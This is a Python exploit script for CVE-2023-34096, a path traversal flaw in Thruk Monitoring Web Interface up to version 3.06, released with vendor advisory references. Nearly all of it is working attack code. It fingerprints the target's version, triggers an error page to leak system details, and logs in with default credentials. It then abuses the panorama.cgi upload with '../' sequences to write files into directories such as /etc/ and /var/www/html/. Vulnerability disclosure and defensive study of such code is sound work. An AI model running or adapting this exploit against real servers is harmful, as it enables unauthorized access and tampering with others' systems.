# Exploit Title: Thruk Monitoring Web Interface 3.06 - Path Traversal
# Date: 08-Jun-2023
# Exploit Author: Galoget Latorre (@galoget)
# CVE: CVE-2023-34096 (Galoget Latorre)
# Vendor Homepage: https://thruk.org/
# Software Link: https://github.com/sni/Thruk/archive/refs/tags/v3.06.zip
# Software Link + Exploit + PoC (Backup): https://github.com/galoget/Thruk-CVE-2023-34096
# CVE Author Blog: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-thruk.html
# GitHub Security Advisory: https://github.com/sni/Thruk/security/advisories/GHSA-vhqc-649h-994h
# Affected Versions: <= 3.06
# Language: Python 3.x
# Tested on:
# - Ubuntu 22.04.5 LTS 64-bit
# - Debian GNU/Linux 10 (buster) 64-bit
# - Kali GNU/Linux 2023.1 64-bit
# - CentOS GNU/Linux 8.5.2111 64-bit
#!/usr/bin/python3
# -*- coding:utf-8 -*-
import sys
import warnings
import requests
from bs4 import BeautifulSoup
from termcolor import cprint
# Usage: python3 exploit.py <target.site>
# Example: python3 exploit.py http://127.0.0.1/thruk/
# Disable warnings
warnings.filterwarnings('ignore')
# Set headers
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
}
def banner():
"""
Function to print the banner
"""
banner_text = """
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\\__ \\/ |__ /__ \\__/ /__ __) __) | \\__/ __/ \\__)
Path Traversal Vulnerability in Thruk Monitoring Web Interface ≤ 3.06
Exploit & CVE Author: Galoget Latorre (@galoget)
LinkedIn: https://www.linkedin.com/in/galoget
"""
print(banner_text)
def usage_instructions():
"""
Function that validates the number of arguments.
The application MUST have 2 arguments:
- [0]: Name of the script
- [1]: Target URL (Thruk Base URL)
"""
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target.site>")
print("Example: python3 exploit.py http://127.0.0.1/thruk/")
sys.exit(0)
def check_vulnerability(thruk_version):
"""
Function to check if the recovered version is vulnerable to CVE-2023-34096.
Prints additional information about the vulnerability.
"""
try:
if float(thruk_version[1:5]) <= 3.06:
if float(thruk_version[4:].replace("-", ".")) < 6.2:
cprint("[+] ", "green", attrs=['bold'], end = "")
print("This version of Thruk is ", end = "")
cprint("VULNERABLE ", "red", attrs=['bold'], end = "")
print("to CVE-2023-34096!")
print(" | CVE Author Blog: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-thruk.html")
print(" | GitHub Security Advisory: https://github.com/sni/Thruk/security/advisories/GHSA-vhqc-649h-994h")
print(" | CVE MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34096")
print(" | CVE NVD NIST: https://nvd.nist.gov/vuln/detail/CVE-2023-34096")
print(" | Thruk Changelog: https://www.thruk.org/changelog.html")
print(" | Fixed version: 3.06-2+")
print("")
return True
else:
cprint("[-] ", "red", attrs=['bold'], end = "")
print("It looks like this version of Thruk is NOT VULNERABLE to CVE-2023-34096.")
return False
except:
cprint("[-] ", "red", attrs=['bold'], end = "")
print("There was an error parsing Thruk's version.\n")
return False
def get_thruk_version():
"""
Function to get Thruk's version via web scraping.
It also verifies the title of the website to check if the target is a Thruk instance.
"""
response = requests.get(target, headers=headers, allow_redirects=True, verify=False, timeout=10)
html_soup = BeautifulSoup(response.text, "html.parser")
if "<title>Thruk Monitoring Webinterface</title>" not in response.text:
cprint("[-] ", "red", attrs=['bold'], end = "")
print("Verify if the URL is correct and points to a Thruk Monitoring Web Interface.")
sys.exit(-1)
else:
# Extract version anchor tag
version_link = html_soup.find_all("a", {"class": "link text-sm"})
if len(version_link) == 1 and version_link[0].has_attr('href'):
thruk_version = version_link[0].text.strip()
cprint("[+] ", "green", attrs=['bold'], end = "")
print(f"Detected Thruk Version (Public Banner): {thruk_version}\n")
return thruk_version
else:
cprint("[-] ", "red", attrs=['bold'], end = "")
print("There was an error retrieving Thruk's version.")
sys.exit(-1)
def get_error_info():
"""
Function to cause an error in the target Thruk instance and collect additional information via web scraping.
"""
# URL that will cause an error
error_url = target + "//cgi-bin/login.cgi"
# Retrieve Any initial Cookies
error_response = requests.get(error_url,
headers=headers,
allow_redirects=False,
verify=False,
timeout=10)
cprint("[*] ", "blue", attrs=['bold'], end = "")
print("Trying to retrieve additional information...\n")
try:
# Search for the error tag
html_soup = BeautifulSoup(error_response.text, "html.parser")
error_report = html_soup.find_all("pre", {"class": "text-left mt-5"})[0].text
if len(error_report) > 0:
# Print Error Info
error_report = error_report[error_report.find("Version"):error_report.find("\n\nStack")]
cprint("[+] ", "green", attrs=['bold'], end = "")
print("Recovered Information: \n")
parsed_error_report = error_report.split("\n")
for error_line in parsed_error_report:
print(f" {error_line}")
except:
cprint("[-] ", "red", attrs=['bold'], end = "")
print("No additional information available.\n")
def get_thruk_session_auto_login():
"""
Function to login into the Thruk instance and retrieve a valid session.
It will use default Thruk's credentials available here:
- https://www.thruk.org/documentation/install.html
Change credentials if required.
"""
# Default Credentials - Change if required
username = "thrukadmin" # CHANGE ME
password = "thrukadmin" # CHANGE ME
params = {"login": username, "password": password}
cprint("[*] ", "blue", attrs=['bold'], end = "")
print(f"Trying to autenticate with provided credentials: {username}/{password}\n")
# Define Login URL
login_url = "cgi-bin/login.cgi"
session = requests.Session()
# Retrieve Any initial Cookies
session.get(target, headers=headers, allow_redirects=True, verify=False)
# Login and get thruk_auth Cookie
session.post(target + login_url, data=params, headers=headers, allow_redirects=False, verify=False)
# Get Cookies as dictionary
cookies = session.cookies.get_dict()
# Successful Login
if cookies.get('thruk_auth') is not None:
cprint("[+] ", "green", attrs=['bold'], end = "")
print("Successful Authentication!\n")
cprint("[+] ", "green", attrs=['bold'], end = "")
print(f"Login Cookie: thruk_auth={cookies.get('thruk_auth')}\n")
return session
# Failed Login
else:
if cookies.get('thruk_message') == "fail_message~~login%20failed":
cprint("[-] ", "red", attrs=['bold'], end = "")
print("Login Failed, check your credentials.")
sys.exit(401)
def cve_2023_34096_exploit_path_traversal(logged_session):
"""
Function that attempts to exploit the Path Traversal Vulnerability.
The exploit will try to upload a PoC file to multiple common folders.
This to prevent permissions errors to cause false negatives.
"""
cprint("[*] ", "blue", attrs=['bold'], end = "")
print("Trying to exploit: ", end = "")
cprint("CVE-2023-34096 - Path Traversal\n", "yellow", attrs=['bold'])
# Define Upload URL
upload_url = "cgi-bin/panorama.cgi"
# Absolute paths
common_folders = ["/tmp/",
"/etc/thruk/plugins/plugins-enabled/",
"/etc/thruk/panorama/",
"/etc/thruk/bp/",
"/etc/thruk/thruk_local.d/",
"/var/www/",
"/var/www/html/",
"/etc/",
]
# Upload PoC file to each folder
for target_folder in common_folders:
# PoC file extension is jpg due to regex validations of Thruk.
# Nevertheless this issue can still cause damage in different ways to the affected instance.
files = {'image': ("exploit.jpg", "CVE-2023-34096-Exploit-PoC-by-galoget")}
data = {"task": "upload",
"type": "image",
"location": f"backgrounds/../../../..{target_folder}"
}
upload_response = logged_session.post(target + upload_url,
data=data,
files=files,
headers=headers,
allow_redirects=False,
verify=False)
try:
upload_response = upload_response.json()
if upload_response.get("msg") == "Upload successfull" and upload_response.get("success") is True:
cprint("[+] ", "green", attrs=['bold'], end = "")
print(f"File successfully uploaded to folder: {target_folder}{files.get('image')[0]}\n")
elif upload_response.get("msg") == "Fileupload must use existing and writable folder.":
cprint("[-] ", "red", attrs=['bold'], end = "")
print(f"File upload to folder \'{target_folder}{files.get('image')[0]}\' failed due to write permissions or non-existent folder!\n")
else:
cprint("[-] ", "red", attrs=['bold'], end = "")
print("File upload failed.\n")
except:
cprint("[-] ", "red", attrs=['bold'], end = "")
print("File upload failed.\n")
if __name__ == "__main__":
banner()
usage_instructions()
# Change this with the domain or IP address to attack
if sys.argv[1] and sys.argv[1].startswith("http"):
target = sys.argv[1]
else:
target = "http://127.0.0.1/thruk/"
# Prepare Base Target URL
if not target.endswith('/'):
target += "/"
cprint("[+] ", "green", attrs=['bold'], end = "")
print(f"Target URL: {target}\n")
# Get Thruk version via web scraping
scraped_thruk_version = get_thruk_version()
# Send a request that will generate an error and collect extra info
get_error_info()
# Check if the instance is vulnerable to CVE-2023-34096
vulnerable_status = check_vulnerability(scraped_thruk_version)
if vulnerable_status:
cprint("[+] ", "green", attrs=['bold'], end = "")
print("The Thruk version found in this host is vulnerable to CVE-2023-34096. Do you want to try to exploit it?")
# Confirm exploitation
option = input("\nChoice (Y/N): ").lower()
print("")
if option == "y":
cprint("[*] ", "blue", attrs=['bold'], end = "")
print("The tool will attempt to exploit the vulnerability by uploading a PoC file to common folders...\n")
# Login into Thruk instance
valid_session = get_thruk_session_auto_login()
# Exploit Path Traversal Vulnerability
cve_2023_34096_exploit_path_traversal(valid_session)
elif option == "n":
cprint("[*] ", "blue", attrs=['bold'], end = "")
print("No exploitation attempts were performed, Goodbye!\n")
sys.exit(0)
else:
cprint("[-] ", "red", attrs=['bold'], end = "")
print("Unknown option entered.")
sys.exit(1)
else:
cprint("[-] ", "red", attrs=['bold'], end = "")
print("The current Thruk's version is NOT VULNERABLE to CVE-2023-34096.")
sys.exit(2)
